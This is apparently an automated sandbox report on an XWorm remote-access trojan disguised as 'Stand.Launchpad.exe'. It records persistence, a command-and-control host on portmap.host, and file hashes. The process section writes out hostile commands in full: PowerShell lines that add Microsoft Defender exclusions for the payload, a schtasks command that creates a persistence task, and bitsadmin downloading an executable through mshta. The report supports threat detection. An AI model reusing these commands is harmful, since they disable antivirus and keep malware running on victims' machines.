Malware Analysis Report

2024-11-16 13:40

Sample ID 240601-dbczcafc7y
Target Stand.Launchpad.exe
SHA256 78c046bf4410f5b0b31b2c7754129f7d957c1f6359a3becc4a282cb7047b250b
Tags
xworm execution persistence rat trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

78c046bf4410f5b0b31b2c7754129f7d957c1f6359a3becc4a282cb7047b250b

Threat Level: Known bad

The file Stand.Launchpad.exe was found to be: Known bad.

Malicious Activity Summary

xworm execution persistence rat trojan

Xworm

Detect Xworm Payload

Command and Scripting Interpreter: PowerShell

Drops startup file

Executes dropped EXE

Adds Run key to start application

Looks up external IP address via web service

Unsigned PE

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Uses Task Scheduler COM API

Modifies registry class

Suspicious behavior: AddClipboardFormatListener

Download via BitsAdmin

Suspicious behavior: EnumeratesProcesses

Suspicious use of SetWindowsHookEx

Creates scheduled task(s)

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-06-01 02:49

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-01 02:49

Reported

2024-06-01 02:52

Platform

win11-20240426-en

Max time kernel

149s

Max time network

141s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe"

Signatures

Detect Xworm Payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Xworm

trojan rat xworm

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stand.lnk C:\Users\Admin\AppData\Roaming\XClient.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stand.lnk C:\Users\Admin\AppData\Roaming\XClient.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000\Software\Microsoft\Windows\CurrentVersion\Run\Stand = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Stand.exe" C:\Users\Admin\AppData\Roaming\XClient.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Enumerates physical storage devices

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\System32\schtasks.exe N/A

Download via BitsAdmin

dropper
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\bitsadmin.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\Local Settings C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\XClient.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\XClient.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\XClient.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\XClient.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\XClient.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2408 wrote to memory of 2632 N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe C:\Windows\SysWOW64\mshta.exe
PID 2408 wrote to memory of 2632 N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe C:\Windows\SysWOW64\mshta.exe
PID 2408 wrote to memory of 2632 N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe C:\Windows\SysWOW64\mshta.exe
PID 2408 wrote to memory of 4556 N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe C:\Users\Admin\AppData\Roaming\XClient.exe
PID 2408 wrote to memory of 4556 N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe C:\Users\Admin\AppData\Roaming\XClient.exe
PID 2632 wrote to memory of 3160 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 2632 wrote to memory of 3160 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 2632 wrote to memory of 3160 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 4556 wrote to memory of 2492 N/A C:\Users\Admin\AppData\Roaming\XClient.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4556 wrote to memory of 2492 N/A C:\Users\Admin\AppData\Roaming\XClient.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4556 wrote to memory of 4708 N/A C:\Users\Admin\AppData\Roaming\XClient.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4556 wrote to memory of 4708 N/A C:\Users\Admin\AppData\Roaming\XClient.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4556 wrote to memory of 4688 N/A C:\Users\Admin\AppData\Roaming\XClient.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4556 wrote to memory of 4688 N/A C:\Users\Admin\AppData\Roaming\XClient.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4556 wrote to memory of 3676 N/A C:\Users\Admin\AppData\Roaming\XClient.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4556 wrote to memory of 3676 N/A C:\Users\Admin\AppData\Roaming\XClient.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4556 wrote to memory of 3944 N/A C:\Users\Admin\AppData\Roaming\XClient.exe C:\Windows\System32\schtasks.exe
PID 4556 wrote to memory of 3944 N/A C:\Users\Admin\AppData\Roaming\XClient.exe C:\Windows\System32\schtasks.exe
PID 2632 wrote to memory of 1844 N/A C:\Windows\SysWOW64\mshta.exe C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe
PID 2632 wrote to memory of 1844 N/A C:\Windows\SysWOW64\mshta.exe C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe

"C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe"

C:\Windows\SysWOW64\mshta.exe

"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Roaming\Downloader.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}

C:\Users\Admin\AppData\Roaming\XClient.exe

"C:\Users\Admin\AppData\Roaming\XClient.exe"

C:\Windows\SysWOW64\bitsadmin.exe

"C:\Windows\System32\bitsadmin.exe" /transfer 8 https://github.com/calamity-inc/Stand-Launchpad/releases/download/1.9/Stand.Launchpad.exe C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\XClient.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Stand.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Stand.exe'

C:\Windows\System32\schtasks.exe

"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Stand" /tr "C:\Users\Admin\AppData\Local\Temp\Stand.exe"

C:\Users\Admin\AppData\Local\Temp\Stand.exe

C:\Users\Admin\AppData\Local\Temp\Stand.exe

C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe

"C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe"

C:\Users\Admin\AppData\Local\Temp\Stand.exe

C:\Users\Admin\AppData\Local\Temp\Stand.exe

C:\Users\Admin\AppData\Local\Temp\Stand.exe

C:\Users\Admin\AppData\Local\Temp\Stand.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
GB 20.26.156.215:443 github.com tcp
US 185.199.108.133:443 objects.githubusercontent.com tcp
DE 193.161.193.99:57023 Name1442-57023.portmap.host tcp
DE 193.161.193.99:57023 Name1442-57023.portmap.host tcp
US 172.67.188.90:443 stand.gg tcp
US 8.8.8.8:53 188.98.55.23.in-addr.arpa udp
US 172.67.188.90:443 stand.gg tcp
DE 193.161.193.99:57023 Name1442-57023.portmap.host tcp
DE 193.161.193.99:57023 Name1442-57023.portmap.host tcp
DE 193.161.193.99:57023 Name1442-57023.portmap.host tcp
N/A 127.0.0.1:57023 tcp
N/A 127.0.0.1:57023 tcp
DE 193.161.193.99:57023 Name1442-57023.portmap.host tcp
DE 193.161.193.99:57023 Name1442-57023.portmap.host tcp
IE 52.111.236.21:443 tcp
DE 193.161.193.99:57023 Name1442-57023.portmap.host tcp
N/A 127.0.0.1:57023 tcp
N/A 127.0.0.1:57023 tcp
DE 193.161.193.99:57023 Name1442-57023.portmap.host tcp
DE 193.161.193.99:57023 Name1442-57023.portmap.host tcp
DE 193.161.193.99:57023 Name1442-57023.portmap.host tcp
DE 193.161.193.99:57023 Name1442-57023.portmap.host tcp
N/A 127.0.0.1:57023 tcp

Files

memory/2408-0-0x00007FFA23E73000-0x00007FFA23E75000-memory.dmp

memory/2408-1-0x0000000000820000-0x0000000000848000-memory.dmp

C:\Users\Admin\AppData\Roaming\XClient.exe

MD5 f7b371488658801516db0d22a3fc3948
SHA1 15600ac661d20f4f26ddb39375baaff177fc3fa6
SHA256 4573ad85fc7b264ec446445852deeb377db879838a62c04340f771e866e45d3a
SHA512 bd1d2fd8a03fb4329d84c43271ff1d08afb74f6e5b1166d441d19e2ce6657789e256cdbb97a114c3d19c704586d33c73156b9cb9096076de38cc1d84eeb7f310

memory/4556-16-0x0000000000AD0000-0x0000000000AF0000-memory.dmp

memory/4556-17-0x00007FFA23E70000-0x00007FFA24932000-memory.dmp

C:\Users\Admin\AppData\Roaming\Downloader.hta

MD5 4ec749a8c1d7d0a4be501465d297d3dc
SHA1 d7727cb4dc96d653bce6c6bbe70ff171ecc197b7
SHA256 7bd2ea1be121e862cc93c8c41429d0f9d1d3b57478e586bbeed7d3d3be3a96f6
SHA512 38d4ca973a3da55453dd37cb8965db223d42b03493b8d5390ab58cc3b53df1405119663f91bcef2ce2efc082ea17b0021c407eb65c6076d127408f2ff2c7d44e

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_31qul0me.vpi.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2492-27-0x0000020A83400000-0x0000020A83422000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 627073ee3ca9676911bee35548eff2b8
SHA1 4c4b68c65e2cab9864b51167d710aa29ebdcff2e
SHA256 85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c
SHA512 3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 1a9fa92a4f2e2ec9e244d43a6a4f8fb9
SHA1 9910190edfaccece1dfcc1d92e357772f5dae8f7
SHA256 0ee052d5333fd5fd86bc84856fec98e045f077a7ac8051651bf7c521b9706888
SHA512 5d2361476fa22200e6f83883efe7dcb8c3fe7dae8d56e04e28a36e9ae1270c327b6aa161d92b239593da7661289d002c574446ecfd6bd19928209aae25e3ef64

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 e986b73634e22802f2402cb14f45b25e
SHA1 03ec90c16740a1b7f1f4d6e564e8f3aa3be21098
SHA256 ec63cb606b1264f770e2d7c9649b00e5e8d261bc7e0be183741d8d5f1c1e1742
SHA512 b6358abf18ec0e1b86869d49dc3c81e53fca7b20b16b69506526d6cd0f18f305395155e9247f4b974640ed799dfd22ce4e770e5c877ddc27747063c9693f60bf

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 34e3230cb2131270db1af79fb3d57752
SHA1 21434dd7cf3c4624226b89f404fd7982825f8ac6
SHA256 0f162f27548a84db1638bcf46d03661b5bcb3032e765fafdb597cc107639ba39
SHA512 3756cb01e82dbda681b562eae74d0b8ef8b3787b126119a51a92c51a78204a7805b9bdd60c00c50a3be23b843e78bb153b656540767069f739ce421b9bc02335

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Stand.Launchpad.exe.log

MD5 2cbbb74b7da1f720b48ed31085cbd5b8
SHA1 79caa9a3ea8abe1b9c4326c3633da64a5f724964
SHA256 e31b18f21621d9983bfdf1ea3e53884a9d58b8ffd79e0e5790da6f3a81a8b9d3
SHA512 ecf02d5240e0c1c005d3ab393aa7eff62bd498c2db5905157e2bf6d29e1b663228a9583950842629d1a4caef404c8941a0c7799b1a3bd1eb890a09fdb7efcff9

memory/1844-69-0x00000161AFDA0000-0x00000161AFDB6000-memory.dmp

memory/4556-84-0x00007FFA23E70000-0x00007FFA24932000-memory.dmp